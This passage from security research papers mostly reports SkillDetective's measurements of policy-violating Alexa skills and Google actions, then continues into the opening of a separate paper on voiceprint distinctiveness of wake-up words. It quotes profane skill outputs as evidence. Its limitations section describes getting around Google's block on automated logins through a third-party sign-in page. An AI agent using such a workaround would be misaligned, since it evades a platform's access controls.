leave a positive rating of the skill" in the Amazon Alexa plat-
form, we found 3,452 violations in descriptions while only
21 potential violations appeared in the skill outputs. Due to
the prevalence of this issue, we verified whether the Amazon
Alexa platform really enforced restrictions against this pol-
icy by submitting skills violating this policy for certification.
We submitted two new skills that requested a positive rating
in the skill description, one was immediately rejected and
the reason was "We do not allow skills to request positive
reviews or 5-star ratings from users. Skills may only request
reviews in a neutral manner". It is worth mentioning that the
Amazon Alexa platform allows developers to choose "certify
and publish now" or "certify now and publish later". In our
submissions, we always chose "certify now and publish later"
to get the certification results without publishing the skills.
Therefore, our skills were never published in the skill store
causing no harm to users. We also manually checked these
skills and confirmed that all our results are correct. Thus, we
identified 3,473 policy violations in 3,464 skills (9 skills have
violation in both descriptions and output). We also found the
developer “ButtonPushApps” developed 305 skills requesting
a positive rating in the descriptions of all these skills.

6.1.4 Policy violations of content safety in skill outputs

For policies on content safety, we identified 177 Alexa skills
with 208 potential toxic outputs after manually checking 554
outputs which were labeled as high toxicity by the Perspec-
tive tool [8]. We did not find any action with this issue. For
example, the skill "My flames" outputs a steady stream of
profanity that contains the phrases "teenage mutant ninja frog

looking ass dirt eating ass dude", "beetle that collect and roll
poop all day looking ass dude", "pee bathing in ass dude",
"pissy Lizard looking ass dude", and "kangaroo looking ass
dude". Another skill, "Sex Facts", only provides sexual con-
tent. It is surprising that these skills got approved through
the vetting process and are now still available to the public.
Three skills "Name Genie - (The Gender Predictor)", "Mayan
Gender Predictor" and "Gender Predictor" try to predict the
gender, which is not allowed by the Amazon Alexa platform.
These skills are in different categories such as "Education &
Reference", "Novelty & Humor" or "Games & Trivia".

6.1.5 Policy violations in audio/images

We have detected 8 skills with suspected policy violations
hidden in the audio or image files. 4 of the skills (in the Kids
category) were discussed earlier. Four non-kid skills contain
data collection, while 2 of them lack a privacy policy and
2 more have incomplete privacy policies. The skill "Shape
Game" asks "what is your name" in the audio file output, but
does not provide a privacy policy. Although we have found
few violations in external media, this type of analysis holds
significant implications. First, dynamic media is becoming
the new trend on skill marketplaces [15]. Popular content
such as podcasts, pre-recorded audio streams, and image files
are becoming common fixtures on VPA devices and provide
many new hiding places for unscrupulous developers to hide
policy-breaking content. This media type is dynamic and is
almost always stored externally on the developer’s server.
This makes testing this media a challenge and therefore it has
been mostly ignored by existing work.

6.1.6 Potential influences of policy-violating skills

We investigate the potential influence of these policy-violating
skills to users by measuring their usage and popularity (i.e.,
ratings). Overall, we detected 6,079 skills and 175 actions
violating different policies in total. 42% of these Alexa skills
have at least one rating and it suggests they might have been
invoked by real users. The average number of ratings is 63 for
all the policy-violating skills. 13% skills have 5-star ratings
and it shows some popular skills are violating policies. For
example, the skill "Annoying sounds" has 12,796 ratings (it
asks for a 5-star rating). The skill "Relaxing Sounds: Spa
Music" in Health category lacks a disclaimer in its description
and it has 9,255 ratings. As for the 175 Google actions, 67%
of them have been rated by users and 21% actions have 5-star
ratings. The action "Nutrition Facts", which is developed by
Google and lacks a disclaimer in the Health category, has
1,435 user ratings and gets 4.6-star rating on average.

These popular suspected policy-violating skills could po-
tentially influence thousands of users. It is interesting that
we found there are critical user reviews complaining about
skills that request for positive rating, e.g., one user review
"the program forced me to give a five star review" for skill
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"Sleep Sounds: Box Fan Sounds", and another one "would
have been 5 stars if it didn’t keep asking me to review it" for
skill "White Noise by Sleep Jar".

6.2 Performance Comparison
We conducted a performance comparison between SKILLDE-
TECTIVE and SkillExplorer [27] on the question classification,
answer prediction, and navigational capacity. We have fully
implemented SkillExplorer’s methodology from scratch. We
did this using the paper as a road-map and made all attempts
to accurately represent their work.

Performance of Question Classification. Our classifier
in SKILLDETECTIVE was tested against the classification abili-
ties of the SkillExplorer methodology. We conducted the test
using 1,800 randomly chosen labeled questions with 300 ques-
tions per type including the NULL (statement) type. These
1,800 questions were randomly chosen from a dataset of hand
labeled questions gathered from Github repositories. Each of
the 300 per-type questions were fed into both SkillExplorer’s
and SKILLDETECTIVE’s classifiers and measured for accuracy
of classification. The test results concluded that our methodol-
ogy performed more accurately overall, but especially on the
Mixed and NULL classifications performing 11% and 26.3%
better respectively. Table 6 shows the comparison results for
each question-type followed by the percentage of accurate
predictions achieved by both classifiers.

Question Type SkillExplorer [27] SKILLDETECTIVE

Open-Ended 97.3% 98%
Instruction 89.7% 99%

Binary 100% 100%
Selection 99% 99.3%

Mixed 87% 98%
NULL 71.3% 97.6%

Table 6: Performance of question classification.
Performance of Answer Prediction. We tested the perfor-

mance of SKILLDETECTIVE’s answer prediction against that of
SkillExplorer as well as three other popular pre-built chatbots
(Mitsuku [7], ChatScript [4], and Blender [11]). We found
that the pre-built chatbots did not perform very well for most
types of questions. The pre-built chatbots were able to answer
Binary types of questions and to answer arithmetic questions
such as "what is 2 + 2?" in many cases. However, they fell
short in answering the other question types effectively. Note
that we define an effective answer as one that continues the
conversation with a skill, and an ineffective answer as one
that stops or redirects the conversation of the skill. Ineffective
answers are determined by specific skill outputs (e.g., "Sorry,
I don’t understand. Can you please repeat that?"). Most exist-
ing chatbots today are designed to converse with people and
to maintain context throughout the conversation, which is not
suitable for skill interactions. SKILLDETECTIVE was designed
to interact with skills, therefore it performed much better than
the pre-built chatbots. Table 7 reports the question predic-
tion results for SKILLDETECTIVE, SkillExplorer, and the max
value of three popular chatbots conducted using 1,000 labeled

questions with 200 representatives of each type. The ques-
tions were classified using the classifier and extracted from
the dataset of questions gathered from GitHub. As shown
in the table, the popular chatbots did not attain a max accu-
racy greater than 61%, while SkillExplorer did achieve over
90% on the Open-ended, Instruction, and Binary types. Only
SKILLDETECTIVE was able to attain an accuracy over 90% on
4 types and 89% on the remaining type.

Question
Type SkillExplorer [27] SKILLDETECTIVE

Popular
Chatbots

Open-Ended 90% 90% 29%
Instruction 93% 95% 46%

Binary 100% 100% 61%
Selection 89% 94% 54%

Mixed 63% 89% 11%

Table 7: Performance of answer prediction.

Performance of Skill Navigation. To test the navigational
capacity of SKILLDETECTIVE in the Slow mode, we used two
sets of skills for this evaluation: 1) We traced the source-code
of 64 skills taken from GitHub repositories to actual deployed
skills on the Amazon skill store by manually checking the
skill’s functionality and comparing it to the source-code. We
found that the average number of nodes in each of the 64 skills
is 24 with a standard deviation (STD) of 9.48. 2) 100 skills
with data collection behavior provided by the SkillExplorer
research team [27]. We first manually traversed the skills for
the purpose of mapping the interactions. We found through
manual checking that the average number of nodes per skill
is 40 with a STD of 13.26.

For the 64 skills with source code, SkillExplorer was able
to traverse an average of 20.77 nodes (86.5% coverage rate)
with a STD of 8.68. Using SKILLDETECTIVE, we were able
to traverse an average of 20.95 nodes (87.3% coverage rate)
with a STD of 9.22. All of the 64 skills tested did not contain
any external audio sources. Also, these skills were found to
be very simple (i.e., fact skills). We would expect to have
similar results when testing these simple skills. However,
SKILLDETECTIVE outperforms SkillExplorer in handling com-
plex skills. For the 100 skills with data collection behavior,
SkillExplorer was able to traverse an average of 31.41 to-
tal nodes (78.5% coverage rate) with a STD of 13.55, and
SKILLDETECTIVE was able to traverse an average of 36.83
nodes (92.1% coverage rate) with a STD of 12.54 using the
Slow mode.

While testing the 100 skills with data collection behavior,
we found 9 skills with policy violating content within the
nodes traversed by SKILLDETECTIVE but missed by SkillEx-
plorer [27]. For example, the skill "Baton Rouge Foodie"
asks for the user’s phone number after 5 interactions which
includes an audio file. This policy violation was not detected
using SkillExplorer due to it lacking the ability to process
audio files. However, SKILLDETECTIVE was able to encounter
this node and report the violation.

We also conducted an execution time performance com-
parison with SkillExplorer. We found that during testing of

USENIX Association 31st USENIX Security Symposium    1123



the 164 skills, SkillExplorer on average spends approximately
11 minutes on each skill, while SKILLDETECTIVE spends ap-
proximately 14 minutes on each skill using Slow mode. This
difference in time is due to the fact that SKILLDETECTIVE must
perform tasks not applicable to SkillExplorer (i.e., transcribe
audio files). As to the performance statistics of tree traversal
in SKILLDETECTIVE, the average depth of skill trees is 8.25
nodes, the average breadth of skill trees is 6.75 nodes, and the
average fan of a skill tree is 40.25 nodes.

Performance of Policy Violation Detection. We tested
both SkillExplorer and SKILLDETECTIVE on 100 skill names
that were provided by the SkillExplorer research team and
identified as containing data collection. We found through
manual testing that only 61 of the 100 skills still contain data
collection. This is most likely due to the fact that some of the
skills have been removed from the skill store, while others
may have had their content changed. We found that our policy
violation detector can identify 54 of the 61 data collecting
skills using the outputs from the manual testing. We also
found that SKILLDETECTIVE detects 50 of the 61 skills that
collect data using the interaction model in a fully automated
manner, while the SkillExplorer methodology only found 41
of the 61 skills collecting data.

Skill-Tree Depth of Policy Violation Occurrences. For
all the identified policy violations, we calculated the number
of rounds of interactions it took for the policy-violating con-
tent to appear (i.e., the skill-tree depth of the policy violation).
We found that 244 skills respond with the policy-violating
content in their first reply. There are 19 skills in the Kids
category that ask for personal data within the first round of in-
teractions. Also, there are 20 skills and 7 actions in the Health
category that ask for personal data within the first round of
interactions. The distribution of the skill-tree node depths of
policy violations is shown in Figure 4.
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Figure 4: 78% of policy violations were captured within the
first three rounds of interactions in our testing.

7 Limitation
SKILLDETECTIVE has several limitations. First, the concept of
a chatbot is an ongoing research problem. Our methodology
cannot handle all possible situations therefore limiting the
traversal of some skills. We recognize that not all branches
of a skill-tree can be mapped and as a consequence, some
policy violations will be missed. Next, because of the intrin-
sic latency of skill testing we were unable to check every
skill at full capacity using our Slow method. We did how-
ever find through testing that most policy violations happen

within the first few nodes of skill interaction thereby reducing
the effects of this limitation. We also conducted a manual
validation of 100 skills which were randomly sampled from
all categories in our dataset. We found 11 skills with policy
violations after the manual analysis and our tool could detect
9 of these policy violations. A second limitation is that our
policy violation detector is vulnerable to adaptive adversary
evasion attacks [31, 40], e.g., unscrupulous developers may
rephrase policy-violating outputs without changing the se-
mantic meaning to bypass SKILLDETECTIVE’s detection. As
for our future work, we would like to improve the robustness
of SKILLDETECTIVE to detect stealthy policy violations.

A third limitation is that there are other policies (e.g., pro-
viding misleading information in skills) that SKILLDETECTIVE

does not check for. This is due to the complexity needed
to accurately ascertain theses types of violations. In addi-
tion, SKILLDETECTIVE does not check skills that require an
account linking to be accessed (e.g., skills in the categories
of SmartHome). Another limitation is that we implemented
the chatbot using an FNN and a bag-of-words approach. We
would like to recreate our methodology using more advanced
sentence embedding such as BERT [24] in the future.

Lastly, there is a noticeable difference between the number
of Amazon skills and Google actions tested. This is due to
many difficulties put in place by Google to hinder automated
interactions with their web-sites. First, Google prohibits the
use of automated tools (like web drivers) to log into users ac-
counts directly. To circumvent this issue, we used a third party
site (Stackoverflow.com) that has a Google sign in option. We
set the web driver to log into the the third party site under
our developers credentials and subsequently navigate to the
Action testing terminal. We were able to use this method for
only a short time until Google patched this loop hole. As of
the writing of this paper, no work around has been discovered
thereby hindering future automated Google testing.

We hope to address these issues in future builds of the
project by adding more robust navigational features and bet-
tering the model in skill traversal as well as speed. We were
able to find many different policy violations during our test-
ing of Amazon’s and Google’s VPA platforms. The main
reason is that the vetting process for skill certification was
weak for both platforms. This weakness in vetting allows for
developers (either knowingly or unknowingly) to get policy
violating content certified and deployed to the public. Another
reason might be that the content of live skills can be changed
with no need to re-certify the skill. This ability to change
content again allows developers to update their skills with
policy-violating content.

8 Related Work
There has been considerable research on attacks [20, 21, 34,
35, 38, 41, 43, 45] against speech recognition systems and
corresponding defenses [22,25,45,46]. We mainly summarize
recent research on security and privacy of skills.
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Skill Invocation Hijacking via Speech Misinterpreta-
tion. Kumar et al. [29] presented the skill squatting attack.
This attack utilizes linguistic ambiguities to exploit speech
interpretation for the purpose of routing users to a mali-
cious skill. In addition, paraphrased invocation names ("Citi
Bank" vs "Citi Bank please") can be used to hijack sensitive
skills [47]. This hijacking is due to the fact that the longest
string match is used by the VA platform to invoke the skill.
The masquerading attack was also presented in [47], where
a malicious skill mimics the exit intent tricking the user into
believing the skill has terminated, while still collecting user’s
input. LipFuzzer [48] is a black-box mutation-based fuzzing
tool to systematically discover misinterpretation-prone voice
commands in existing VPA platforms. LipFuzzer focused only
on skill commands and their invocations. This differs greatly
from our SKILLDETECTIVE in that our testing tool focuses on
all layers of the skill and all outcomes of skill interaction.

Analysis of Voice Applications. Shezan et al. [36] devel-
oped a tool to identify sensitive voice commands by analyzing
skills’ descriptions. Liao et al. [32] found that many skills do
not comply with the requirements defined by VPA platforms
on the privacy policy by conducting a privacy policy analysis.
Lentzsch et al. [30] conducted a large-scale analysis of Alexa
skills, including identifying flaws in the vetting process, eval-
uating the efficacy of voice squatting techniques and privacy
policies of skills. As to policy violations, the authors vetted
privacy policies of 1,423 skills that request permissions for
data collection, and found 23.3% of the privacy policies are
not fully disclosing the data types associated with permissions
requested by the skill. These works [30, 32, 36] are based on
NLP analysis of skills’ introduction pages on the store, with-
out dynamically testing skills for the purpose of security and
privacy analysis. They consider limited types of policies, and
cannot detect policy violations related to skills’ actual behav-
ior. In SKILLDETECTIVE, 1,362 policy violations are owing to
the dynamic analysis of skills. Cheng et al. [23] and Hu et
al. [28] measured the skill vetting process on VPA platforms.
Their results revealed that Amazon Alexa and Google Assis-
tant platforms have not strictly enforced policy requirements.
In [23], the authors also conducted a manual analysis to iden-
tify existing policy-violating skills in the current stores. Out
of 755 Alexa skills under the Kids category, 31 skills were
identified as problematic skills with policy violations.

More recently, to facilitate automated analysis of skills on
a large scale, dynamic testing tools [27, 37] have been devel-
oped. SkillExplorer [27] is a grammar-rule based testing tool
to automatically explore skills’ behaviors. The authors tested
28,904 Amazon skills and 1,897 Google actions, and identi-
fied 1,141 skills request users to provide personal information
without disclosing in their privacy policies. SkillExplorer
mainly focuses on identifying skills that collect private infor-
mation, without evaluating skills’ conformity to other policy
requirements. The authors in VerHealth [37] only analyzed
813 health-related skills on the Amazon Alexa platform, and

VerHealth adopts a rather simple interaction model to collect
limited responses from skills. We also achieved a higher de-
tection accuracy compared with prior works. When detecting
incomplete privacy policies for skills with permissions, our
method achieves 90.5% precision, which is higher than the
result reported in [30] (the authors in [30] only provided the
precision result). For detecting whether health-related skills
lacks a disclaimer or not, our methods achieved 95% preci-
sion, 97% recall, 96% F1-score and 98% accuracy, which are
higher than results reported in VerHealth [37].

Research Work Skills
Analyzed

Actions
Analyzed

Policies
Considered

Problematic Skills
Released?

SkillExplorer [27]
(USENIX SEC’20) 28,904 1,897 1 (Data

collection)
Released 100 skills
with data collection

VerHealth [37]
(UbiComp’20) 813 0 5 (Health-

specific) 7

SKILLDETECTIVE

(Our work) 54,055 5,583 50+ Fully released

Table 8: Comparison of SKILLDETECTIVE with related works
that detect policy violations through dynamic testing.

Distinctive from SkillExplorer and VerHealth, our work sys-
tematically evaluates skills’ conformity to more than 50 policy
requirements through a comprehensive dynamic analysis of
skills. Table 8 shows the comparison of SKILLDETECTIVE

with SkillExplorer [27] and VerHealth [37]. We tested 54,055
Alexa skills and 5,583 Google actions (much larger than their
analysis), and SKILLDETECTIVE’s policy violation detector
covers more than 50 policies. In addition, both works do not
release the detailed list of the identified policy-violating skills.
The lack of such information makes it hard to conduct a sound
performance comparison among them. We share details of
our testing results to facilitate future research.

9 Conclusion
In this work, we designed and implemented an interactive
testing tool named SKILLDETECTIVE, which aims at identify-
ing policy-violating skills in current VPA platforms. Using
SKILLDETECTIVE, we tested 54,055 Amazon Alexa skills and
5,583 Google Assistant actions, and collected 518,385 dif-
ferent pieces of skill interaction data. We were also able to
capture 2,070 audio files and 31,100 image files from skills
during our testing. We identified 6,079 skills and 175 actions
that contain at least one suspected policy violation. SKILLDE-
TECTIVE can also be deployed by VPA platform providers to
proactively identify policy-violating skills at the submission
phase and prevent them from being published. Our findings
in this paper could help Amazon and Google improve their
skills’ policy compliance, and we believe this work will have
a great potential to positively impact the VPA ecosystem.
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Appendix A Similarity Calculation for Ques-
tion Classification

To calculate the similarity of a labeled question n to a target
question α, we count the frequency of all specific conjoined
PoS (parts-of speech) patterns created from n that appear
in α. Table 9 shows an example of a corpus of questions
(with labeled question types). Suppose we want to classify
the question “How old is your mother?”, which has a PoS rep-
resentation of WRB (Wh-adverb), JJ (Adjective), VBZ (Verb,
3rd person singular present), PRP (Personal pronoun), and NN
(Noun, singular or mass). We start with the first PoS entry in
the corpus, which is WRB, JJ, VBP, PRP ((Wh-adverb), (Ad-
jective), (Verb, non-3rd person singular present), (Personal
pronoun)), and corresponds to the question "How old are
you?". Next, we count the number of occurrences of every
pattern permuted from each conjoined tag in the corpus entry.
Let’s say the tag WRB is located at index 1 and JJ is located
at index 2 and so on. We make our patterns by first starting off
with 1, 2, 3, and 4 individually. Next we use (1,2), (2,3), (3,4).
We then use (1, 2, 3), (2, 3, 4) and so on until all conjoined
patterns have been created. In total from this corpus entry we
get 10 different patterns. We count the number of times that
each pattern shows up in our target question. For this example,
we get 4 patterns {WRB, JJ, PRP, and (WRB, JJ)} that show
up in the target question. We then calculate the similarity by
taking the aggregate by dividing the number of corpus entry
patterns located inside the target question by the total number
of patterns that can be derived from the target question. This
process is continued until all entries in the corpus have been
compared with the target question. Finally, the class of the
corpus entry with the highest similarity score will be chosen
as the classification of the question. For this example, we get
the similarity scores of 0.4, 0.07, and 0.1. The question with
the highest similarity is "how old are you?", so we return the
classification as "open-ended" which is correct. We determine
from this classification how we will answer the question "how
old is your mother?"

Question PoS Tags Question
Type

How old are
you?

WRB, JJ, VBP, PRP {(Wh-adverb),
(Adjective), (Verb, non-3rd person

singular present), (Personal pronoun)}

Open-
ended

Do you want
to go?

VBP, PRP, VB, TO, VB {(Verb,
non-3rd person singular present),

(Personal pronoun), (Verb, base form),
(to), (Verb, base form)}

Binary

Can you stay
for a while?

MD, PRP, VB, IN, DT, NN {(Modal),
(Personal pronoun), (Verb, base form),

(Preposition or subordinating
conjunction), (Determiner), (Noun,

singular or mass)}

Binary

Table 9: Example of PoS tagging and similarity calculation
for question classification.

Appendix B Vector Representation of Ques-
tions in FNN Model

To vectorize our data and extract their features, we utilize
PoS tagging of the corpus to extract the nouns of each ques-
tion. These nouns form the representative keywords, which
together form a bag of words (BoW). We next create our fea-
ture vector by calculating the average Levenshtein Distance
(LD) [44] between each individual keyword in the BoW to
every word in our target question. In other words, we read the
first keyword in the BoW and find the average LD of that key-
word to every word within the question we wish to vectorize.
When the similarity is calculated, the vector is updated and
the process is continued. An example is provided in Table 11,
which shows a vectorized version of the corpus in Table 10.
The BoW for this corpus are [number, letters, D, letter, right,
way] as determined by the Stanford Core-NLP Package (the
word "left" was not recognized as a none by Core-NLP). Each
entry in Table 11 shows the value of the average LD from the
keyword to every word in the corresponding question in the
corpus. By using this method, the corpus is vectorized to be
used as a training set for the neural model.

Question Answer
Pick a number between 1 and 4. [1, 2, 3, 4]
Choose from letters A – D. Which one do you want? [A, B, C, D]
Pick a letter from A to D. [A, B, C, D]
You can go left or right. Which way do you want to go? [right, left]

Table 10: Corpus of question/type pairs.

Number Letters D Letter Right Way
0.16 0.10 0.05 0.11 0.03 0.07
0.05 0.13 0.15 0.12 0.04 0.10
0.05 0.14 0.14 0.17 0.03 0.10
0.01 0.07 0.04 0.08 0.15 0.16

Table 11: Vector representation of the corpus in Table 10.
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Category Policy
Index Policy Violation Policy Defined by VPA Platforms

Kids

P1 Collecting kids data It collects any personal information from end users.

P2 Directing users to outside of
Alexa

It promotes any products, content, or services, or directs end users to engage with
content outside of Alexa.

P3 Explicit mature content It includes content not suitable for all ages.

Health

P4 Collecting health data Collects information relating to any person’s physical or mental health or condition.

P5 Lacking a disclaimer in the
skill description

Is a skill that provides health-related information, news, facts or tips and does not
include a disclaimer in the skill description stating that the skill is not a substitute for

professional medical advice.

Personal data
collection

P6 Lacking a privacy policy If your app collects personal data from end users, your app must display a legally
adequate privacy policy within the app and on the app detail page.

P7 Incomplete privacy policy The privacy policy must comprehensively disclose what personal data your app
collects, how it is used, and the types of parties with whom it is shared.

P8 Deceptive privacy policy Ensure that your collection and use of that data complies with your privacy policy.

P9 Should ask for permission Google: Request sensitive user data via the Permissions API (All requests for a user’s
location and name).

General
(non-Kids,

non-Health)

P10 Requesting for positive
rating Explicitly requests that users leave a positive rating of the skill.

P11 Toxic content It includes content not suitable for all ages.
P12 Predicting gender Purports to be able to predict gender.

Table 12: The types of policy violations in existing skills captured by SKILLDETECTIVE (i.e., there exists at least one skill violating
one of these 12 policies).

Figure 5: A skill named "Adopt A Pet" collects user data
through the permission APIs but lacks a privacy policy.

Figure 6: A kid skill named "Kids’s Kazamo" collects user
data through the permission APIs and also provides a broken
privacy policy. Apparently, data collection in a kid skill is not
allowed according to Amazon Alexa’s policy requirements.

Appendix C Examples of Policy Violations

Appendix D Types of Policy Violations

Provide life-saving assistance, Cure all diseases, Black
market sale, Prescription drugs, Offers a separate skills store,

Recommend skills, Offer compensation for using skills,
Solicit donations, Extreme gore, Decapitations, Unsettling
content, Excessive violence, Organized crime, Terrorism,
Illegal activities, Forced marriages, Purchasable husbands,

Purchasable wives, Promote hate speech, Incite racial hatred,
Incite gender hatred, Nazi symbols, Promote Ku Klux Klan,

Contact emergency responder, Contact 911, Illegal
downloading, Pirated software, Join illegal organization,
Illegal lifestyle, Prostitution, Create dangerous materials,

Build bomb, Build meth lab, Build silencer, Promote
terrorism, Praise terrorism, Recruit members for terrorist,
Promote gambling, Excessive alcohol, Underage alcohol

Table 13: Policies that are considered in SKILLDETECTIVE,
but we didn’t find any skill violating them in our testing. This
table only shows keywords of these polices. The complete
policy descriptions can be found in [1–3, 9].
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Policy Violation Type # of # of Example of Policy Violation
Skills Actions Skill ID Skill Name Skill Output

Kids

P1: Collecting kids data 34 0 B07DFCXXM5 Say Please Please tell me your name.
P2: Directing users to outside of

Alexa 21 - B087Z4F96J Math Whiz Goodbye! Please support us by
visiting www.oneoffcoder.com.

P3: Explicit mature content 12 0 B07R97WNFR My bestie My bestie contains mature content
that may not be suitable for all ages.

P10: Requesting for positive rating 177 - B07BF956XW Name, Place,
Animal, Thing

Don’t forget to leave a 5 star review
in the Alexa app store.

P11: Toxic content 4 0 B0837HWNY5 My burns You’re so ugly you’d scare the crap
out of the toilet.

Total policy-violating skills 244 0

Health

P4: Collecting health data 146 13 B07N626993 Blood donation
helper

Please tell your blood group
followed by rh factor.

P4: Collecting health data
(Not in health category) 13 0 B0829RDY2T HealthDataGatherer Hello, what is your blood pressure

now?

P5: Lacking a disclaimer 1,709 151 B01JG73CJI spare the air
Description: Spare the air. Improve

the quality of air by using these
simple tips.

Total policy-violating skills 1,790 155

Collecting
data

protected by
permission

models

P6: Lacking a privacy policy 1 - B0746FHXLY Adopt A Pet Permission: Device Country and
Postal Code. No privacy policy

P7: Incomplete privacy policy 330 - B07CLN9Q8T Sneeze Forecast Permission: Device Country and
Postal Code.

P8: Deceptive privacy policy 38 - B07NGT7LG4 You Choose
Permission: Device Address.

Privacy policy: We never collect or
share personal data with our skills.

Total policy-violating skills 360 -

Collecting
data not

protected by
permission

models

P6: Lacking a privacy policy 171 0 B07N41L2FK paul’s demo Hello, what is your name?

P7: Incomplete privacy policy 104 8 B01MTD0S8B Genio Hey yes, what is your phone
number?

P8: Deceptive privacy policy 12 2 B08DXQJWM7 Diaper Duty
Output: You can say your name.

Privacy policy: We never collect or
share personal data with our skills.

P9: Should ask for permissions - 17 B07Y73QN1M seven wonders What is your name again?
Total policy-violating skills 280 25

General

P10: Requesting for positive rating 3,464 - B07DC3C4SN Marriage Jokes
Leaving us a five star review in the
Alexa store, will help us add more

jokes.

P11: Toxic content 177 0 B082FR65LQ Roast me you are so fat and you look like a
mommas boy.

P12: Predicting gender 3 - B07JPLTR31 Gender Predictor Would you like Alexa to predict the
gender of your baby?

Total policy-violating skills 3,640 0

Media
(audios or
images)

P1: Collecting kids data 1 0 B077LC3R91 Santa’s Helper Tell me your name to begin.

P2: Directing users to outside of
Alexa 3 - B085CMV7ZB Junior Science

Bee

Please register for the regional
contest in www.northshore.org 124

players can play.
P6: Lacking a privacy policy 2 0 B07TZM51S4 Shape Game What’s your name?

P7: Incomplete privacy policy 2 0 B07WVPNJ3C My Biorhythms When were you born?
Total policy-violating skills 8 0

Total number of policy violations 6,079 175

Table 14: Summary of policy violations identified by SKILLDETECTIVE. Based on the 13 policies listed in Table 12, we detected
6,079 unique skills and 175 actions violating at least one policy. "-" means Amazon or Google doesn’t have this policy and "0"
means platforms have defined the policy but we did not find a skill/action violating this policy. An example of policy-violating
skill output (with skill ID and skill name) in each category is also shown in this table. The detection results are true positives after
our manual verification. The complete list of policy-violating skills can be found at https://github.com/skilldetective/skilldetective.
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Abstract
A voiceprint is the distinctive pattern of human voices

that is spectrographically produced and has been widely used

for authentication in the voice assistants. This paper inves-

tigates the impact of speech contents on the distinctiveness

of voiceprint, and has obtained answers to three questions

by studying 2457 speakers and 14,600,000 test samples: 1)

What are the influential factors that determine the distinctive-

ness of voiceprints? 2) How to quantify the distinctiveness

of voiceprints for given words, e.g., wake-up words in com-

mercial voice assistants? 3) How to construct wake-up words

whose voiceprints have high distinctiveness levels. To answer

those questions, we break down voiceprint into phones, and

experimentally obtain the correlation between the false recog-

nition rates and the richness of the phone types, the order,

the length, and the elements of the phones. Then, we define

PROLE Score that can be easily calculated based on speech

content yet can reflect the voice distinctiveness. Under the

guidance of PROLE Score, we tested 30 wake-up words of 19

commercial voice assistant products, e.g., “Hey, Siri”, “OK,

Google” and “Nihao, Xiaona” in both English and Chinese.

Finally, we provide recommendations for both users and man-

ufacturers, on selecting secure voiceprint words.

1 Introduction

A voiceprint is a measurable characteristic of human voices

that can uniquely identify a person. It is the key biometric in

automatic speaker verification (ASV) systems and is used for

personal asset access, financial transactions, and even criminal

investigation [1–4], e.g., utilizing the voiceprint embedded in

wake-up words to activate an Amazon Echo [5], as a password

to access a TD bank account [6], or for caller identification

in telecommunication fraud cases [7]. Given that voiceprints

are increasingly used in sensitive scenarios, it is critical to

understand how much we can trust state-of-the-art voiceprint

technologies, which commercial ASV system outperforms

others in terms of speech contents, and last but not least, what

*Xiaoyu Ji is the corresponding author.

Alice
Alice’s Registered Voiceprint

Speech Model
Generate and Test Voiceprint

Bob

Authentication 
Succeeded

Result

Authentication 
Failed

Figure 1: The workflow of a voiceprint ASV system. The

distinctiveness of voiceprint is affected by the speaker, the

speech contents, and the verification model.

words to say to improve the accuracy of the ASV. The key to

answering the aforementioned questions is to define a metric

that can quantify the distinctiveness of voiceprints.

A voiceprint is essentially a spectrographically produced

mathematical representation of human voices, and its dis-

tinctiveness has four contributors: (1) intrinsic physiological

features of a speaker, e.g., the vocal tract shape, (2) speech

contents, e.g., words with various phonetic alphabets, (3) ASV

models that are used to derive and compare voiceprints, and

(4) the environment and equipment factors, e.g., environmen-

tal noises, acoustic channel responses, or variance caused by

device properties, as shown in Figure 1. Instead of study-

ing all influential factors, we study the distinctiveness metric

by analyzing the impact of speech contents, complementary

to existing research on voiceprint security that focused on

performance optimization of models [8–14], attack strategy

and defense countermeasures against spoofing, synthesizing,

voice conversion, and adversarial samples[1, 15–18].

We aim to define a PROLE Score† such that the voiceprint

distinctiveness can be directly calculated from the speech

contents, yet it reflects the distinctiveness of the voiceprints

associated with ASV models||. From a linguistics perspec-

tive, a speech is a sequence of phones, i.e., the basic unit of

phonetic speech analysis [19], and can be modeled by four

phonetic factors: the richness (the number of phone types),

the order, the length, and the elements of phones. An ideal

PROLE Score definition shall reflect the underlying relation-

†PROLE: phonetic richness, order, length, elements.
||Online PROLE Score: https://github.com/USSLab/PROLE-Score.

USENIX Association 31st USENIX Security Symposium    1131



ship between the phonetic factors and voiceprints, yet cap-

turing it requires a comprehensive dataset with an unbiased

combination of phonetic factors. Such a dataset is not only un-

available but also difficult to generate due to the limitation of

languages: both the number of words and the combination of

phones are limited. We overcame the challenges by segment-

ing 1000-hour utterances of 2457 speakers in two English

speech datasets into phone clips and constructing a dataset

of 14,600,000 audio samples. To capture the relationship, we

selected three representative ASV models, i.e., i-vector [20],

x-vector [21], and the end-to-end U-LEVEL model [22], and

evaluated the false recognition rates using the constructed

dataset. In total, we executed verification tests more than 107

billion times, and the main observations are listed below:

• O1: Among all phonetic factors, the richness, the ele-

ment, and the length of phones can affect the ASV per-

formance, and their influence levels decrease in order.

Interestingly, the order of phones has almost no impact

on the voiceprint verification.

• O2: The increase of phone richness and length will re-

duce the false recognition rate, yet the improvement

saturates once a speech includes more than 15 phones

and 4 types of phones.

• O3: The element of phones matters. For instance, phone

[1] is better than phone [o], and the false recognition rate

of 20 [1]s is 2.43 times less than that of 20 [o]s.

We define PROLE Score to be linearly inversely propor-

tional to the false recognition rate of a given word, ranging

from 0 to 10, and we envision that PROLE Score is appli-

cable to both content dependent and independent voiceprint

systems. For instance, existing voice assistants (e.g., Google

Assistant) utilize content-dependent ASV, and extract users’

voiceprints by analyzing the pre-defined wake-up words, e.g.,

“OK, Google”. A PROLE Score can help to evaluate such

wake-up words and answer the following questions:

• Q1: Interjection. Is adding meaningless interjections

before wake-up words helpful? For example, is “OK

Google” better than “Google’?

• Q2: Repetition. Will a wake-up word repetition im-

prove voiceprint distinctiveness? Is “Alexa Alexa” better

than “Alexa”?

• Q3: Comparison. How to evaluate wake-up words of

existing commercial ASV systems? Is “Hey Cortana”

more distinct than “Hey Google”?

Without loss of generality, this paper evaluated content-

independent voiceprint and analyzed 30 wake-up words from

19 main-stream commercial voice assistant products, in both

English and Chinese. Our study confirms the choice of exist-

ing commercial wake-up words and answers the above three

questions: A1: An interjection is useful, especially when the

richness and the length of a wake-up word are below the

thresholds. Take i-vector as an example, turning “Google” to

“OK Google” can reduce the false recognition rate by 10%.

A2: Repetition can improve the voiceprint performance if the

length of a wake-up word is short. For example, repeating

“Alexa” once reduces the false recognition rate by 10%, and

twice by 14% under the i-vector model. A3: Words matter.

For instance, “Hey Cortana” outperforms “Hey Google” for

all the three voiceprint verification models. To further val-

idate the effectiveness of the PROLE Score, we conducted

a user study with 40 volunteers, and tested the 30 wake-up

